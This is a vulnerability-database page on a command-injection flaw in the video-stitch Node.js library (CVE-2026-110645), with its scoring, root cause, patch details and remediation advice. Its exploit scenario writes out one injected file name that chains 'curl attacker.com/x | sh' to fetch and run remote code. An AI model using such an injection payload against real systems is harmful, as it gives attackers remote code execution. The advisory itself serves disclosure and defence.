Skip to main content

Video-stitch EUVDEUVD-2026-101273

| CVE-2026-110645 CRITICAL
OS Command Injection (CWE-78)
2026-10-14 VulnCheck GHSA-8mh7-3vxw-frrx
9.3
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Supply malicious file name to app
  2. Delivery
    Name reaches concat()/cut()/merge()
  3. Exploit
    Metacharacters interpolated unquoted into ffmpeg string
  4. Execution
    Shell executes injected command
  5. Impact
    Code runs with Node.js process privileges

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that attacker-influenced file names be passed into video-stitch's concat(), cut(), or merge() functions (specifically the output/clip name and fileName arguments interpolated into the ffmpeg command in lib/videoconcat.js and lib/videocut.js). The vulnerable version must be before 2.0.0-beta.1 and must use the pre-patch shell-executed code path (shelljs.exec), and ffmpeg must be present for the command line to run. LIMITING FACTORS: as a library, there is no exploitation unless the embedding application routes untrusted data into these file-name parameters without sanitization; applications that only ever pass trusted, internally-generated file names are not exploitable. No authentication or user interaction is required at the library level, but the effective auth requirement is whatever the consuming application enforces on the input path.

Impact

The input CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) scores this 9.3 (Critical), characterizing it as network-reachable, low-complexity, unauthenticated command execution with high confidentiality, integrity, and availability impact - consistent with CWE-78 and the confirmed-vulnerable shelljs.exec() calls visible in the PR #26 diff. However, these raw metrics overstate real-world risk because video-stitch is a library, not a network service: exploitation requires that attacker-controlled data actually reach the fileName/output arguments of concat(), cut(), or merge() in the consuming Node.js application, so the effective attack vector and privilege requirement are inherited from whatever application embeds the library. No EPSS score, CISA KEV listing, or public exploit was provided in the intelligence set, so there is no evidence of active or at-scale exploitation; the signals present (vendor patch, VulnCheck advisory, source-level confirmation) indicate a verified, patchable defect rather than an actively weaponized threat. CONFLICT TO NOTE: the CVSS PR:N/AV:N assumes untrusted input flows unfiltered into the vulnerable API, which is a deployment-dependent assumption - verify against the specific application before treating this as remote-unauthenticated. Net: a genuinely serious code-execution bug in affected deployments, but its priority is gated by the obscurity and small footprint of the affected package and the absence of any exploitation telemetry.

Exploit ScenarioDerived

An application uses video-stitch to process videos whose file names derive from untrusted input (e.g. a user-supplied upload name or title). An attacker submits a file name containing shell metacharacters such as 'video.mp4; curl attacker.com/x | sh', which is interpolated unquoted into the ffmpeg command line and executed by the shell, running arbitrary commands with the Node.js process privileges. No public exploit code was identified in the provided data, but the patched source (PR #26) directly confirms the vulnerable unquoted shelljs.exec() interpolation.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 3.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Oct 14, 2026

OS command injection in the Video-stitch Node.js library (ArsalanDotMe) before 2.0.0-beta.1 allows unauthenticated remote attackers to run arbitrary shell commands with the privileges of the Node.js process by supplying file names containing shell metacharacters to the concat(), cut(), or merge() functions. The vulnerable code interpolated those values unquoted into shell-executed ffmpeg command lines (shelljs.exec) in lib/videoconcat.js and lib/videocut.js, so exposure is realized whenever an embedding application routes untrusted data into the output/clip name or fileName parameters; applications that only pass trusted, internally generated file names are not exploitable. CVSS 4.0 rates this 9.3 (Critical) with PR:N and UI:N, and no public exploit code or confirmed active exploitation was identified at time of analysis; a fix is available in version 2.0.0-beta.1.

RemediationAI

Upgrade video-stitch to 2.0.0-beta.1 or later, which is the vendor-released fix; the corrective changes are in PR https://github.com/ArsalanDotMe/VideoStitch/pull/26 and commit https://github.com/ArsalanDotMe/VideoStitch/commit/ba60353e6c3707e6ff5d89eb6d76c2c6cdb0df9b, which replace shelljs.exec() with child_process.execFile() so ffmpeg arguments are passed as an argv array and never parsed by a shell. If upgrading is not immediately possible, the compensating control is to stop untrusted data from reaching the concat(), cut(), and merge() file-name parameters: generate output/clip names and input file paths server-side (for example from UUIDs or a strict allowlist) rather than accepting them from users, and reject or normalize any supplied name containing shell metacharacters such as ;, |, &, $, `, <, >, (, ), newlines, or spaces before it is interpolated into the ffmpeg command. Note that because this is a library-level flaw, patching the dependency is the only complete fix, and input filtering is a temporary risk reduction that can be bypassed if any code path still forwards raw names. As an additional hardening step, ensure spec.ffmpeg_path cannot be set by untrusted callers and consider running video-stitch under a least-privileged account so any residual command execution has limited impact. Reference the VulnCheck advisory at https://www.vulncheck.com/advisories/video-stitch-before-2.0.0-beta.1-os-command-injection-via-concat-and-cut for the authoritative disclosure.

Affected VersionsENISA

video-stitch 0 <2.0.0-beta.1

Affected Packages

euvd video_stitch fix: 2.0.0-beta.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command), a classic shell-injection class in which user-controllable strings are concatenated into a command line rather than passed as discrete argv elements. Video-stitch is a Node.js wrapper around the ffmpeg binary: prior to 2.0.0-beta.1, lib/videoconcat.js (around line 61) built a template-literal command such as ${spec.ffmpeg_path} -f concat -safe 0 -protocol_whitelist file,http,https,tcp,tls,crypto -i ${args.fileList} -c copy ${outputFileName} ${overwrite} and executed it through shelljs.exec(), while lib/videocut.js (lines 96-99) did the same with ${args.fileName}, ${args.startTime}, ${args.duration}, and the cut output name. Because those values were never quoted or escaped, an attacker-controlled file name containing characters like ;, |, &&, $(...), or backticks was interpreted by the underlying shell and executed with the Node.js process's permissions. The upstream fix in PR #26 / commit ba60353e6c3707e6ff5d89eb6d76c2c6cdb0df9b abandons the shell entirely, switching to require('child_process').execFile(spec.ffmpeg_path, ffArgs) and pushing each parameter as a separate array element, so filenames and paths are treated as literals and can never be parsed as shell syntax. Practical exploitation also requires ffmpeg to be present (ffmpeg_path configured) so the injected command line actually runs; the library itself performs no authentication or authorization checks, so the effective access requirement is whatever the consuming application enforces on the input path that reaches these file-name arguments.

Know when Node.js gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 9.8 CRITICAL

Unquoted shell interpolation yields trivial injection (AC:L) with full code execution at Node process authority (C/I/A:H, S:U); AV:N/PR:N follows the premise that untrusted file names reach the API, as the input vector assumes.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

Video-stitch before 2.0.0-beta.1 contains an OS command injection vulnerability that allows attackers to execute commands by supplying file names interpolated unquoted into shell-executed ffmpeg command lines. Attackers who influence file names passed to concat(), cut(), or merge() can inject shell metacharacters to run commands with the Node.js process privileges.

Executive ViewAI

Why It Matters

Video-stitch, an open-source Node.js library that most teams consume indirectly through video-stitching and trimming features, carries a critical command-injection flaw that allows unauthenticated remote attackers to run arbitrary shell commands wherever an embedding application feeds untrusted filenames into its concat(), cut(), or merge() functions. Exploitation runs with the privileges of the Node.js process, so a single internet-facing service that accepts user-controlled clip or output names can become a full remote-code-execution foothold; no public exploit identified at time of analysis, but the fix is already published. Leadership should care about scope and visibility: this is a dependency inherited through application code, and most organizations will not know whether they are exposed without an inventory and a review of how filenames flow into the library.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
3.2%
Top 12% exploitable
Prevalence
Low
obscure individual-authored npm video library, tiny deployment footprint
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 3.2%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Total

Priority Score

49
Low Medium High Critical
KEV: 0
EPSS: +3
CVSS: +46
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2025-68613 HIGH POC
8.8 Dec 19

Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy